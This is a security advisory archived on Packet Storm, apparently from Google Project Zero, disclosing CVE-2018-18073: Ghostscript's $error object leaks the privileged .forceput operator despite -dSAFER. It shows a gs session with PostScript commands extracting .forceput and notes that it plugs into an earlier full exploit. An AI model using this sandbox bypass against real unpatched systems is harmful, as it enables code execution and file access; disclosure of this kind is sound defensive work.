what you don't know can hurt you

Ghostscript Exposed System Operators

Ghostscript Exposed System Operators
Posted Oct 11, 2018
Authored by Tavis Ormandy, Google Security Research

Ghostscript has an issue where an error object can expose system operators in the saved execution stack.

tags | advisory
advisories | CVE-2018-18073
MD5 | f076ce456ca16868992ed63958eaa396

Ghostscript Exposed System Operators

Change Mirror Download
ghostscript: $error object can expose system operators in saved execution stack. 

CVE-2018-18073


I've found a way of getting access to .forceput even after the fix in <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a>, you can pull it out of the saved execution stack in $error:

$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>{ null .setglobal } stopped clear
GS>$error /estack get ==
[--%interp_exit-- .runexec2 -file- {--dup-- null --ne-- {--exec-- true} {--pop-- false} --ifelse--} null 2 --%stopped_push-- -file- {prompt {(%statementedit) (r) --.systemvmfile--} --stopped-- {--pop-- --pop-- $error /errorname --get-- /undefinedfilename --eq-- {.clearerror --exit--} --if-- /handleerror --.systemvar-- --exec-- null} --if-- --cvx-- {.runexec} .execute --pop--} --%loop_continue-- {--pop--} {$error /newerror --get-- --and-- {/handleerror --.systemvar-- --exec-- --flush-- true} {false} --ifelse--} false 1 --%stopped_push-- .runexec2 -file- {--dup-- null --ne-- {--exec-- true} {--pop-- false} --ifelse--} null 2 --%stopped_push-- -file- false 1 --%stopped_push-- 1919 1 3 --%oparray_pop-- {-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}]

Notice the .forceput in there...

GS>$error /estack get 29 get ==
{-dict- /FontDirectory --.currentglobal-- {-dict-} {/LocalFontDirectory --.systemvar--} --ifelse-- --.forceput-- --pop--}
GS>$error /estack get 29 get 6 get ==
--.forceput--
GS>

See <a href="/p/project-zero/issues/detail?id=1682" title="ghostscript: executeonly bypass with errorhandler setup" class="closed_ref" rel="nofollow"> bug 1682 </a> for a full exploit using .forceput, this code can just be plugged in and the full exploit will still work.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: taviso

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    15 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close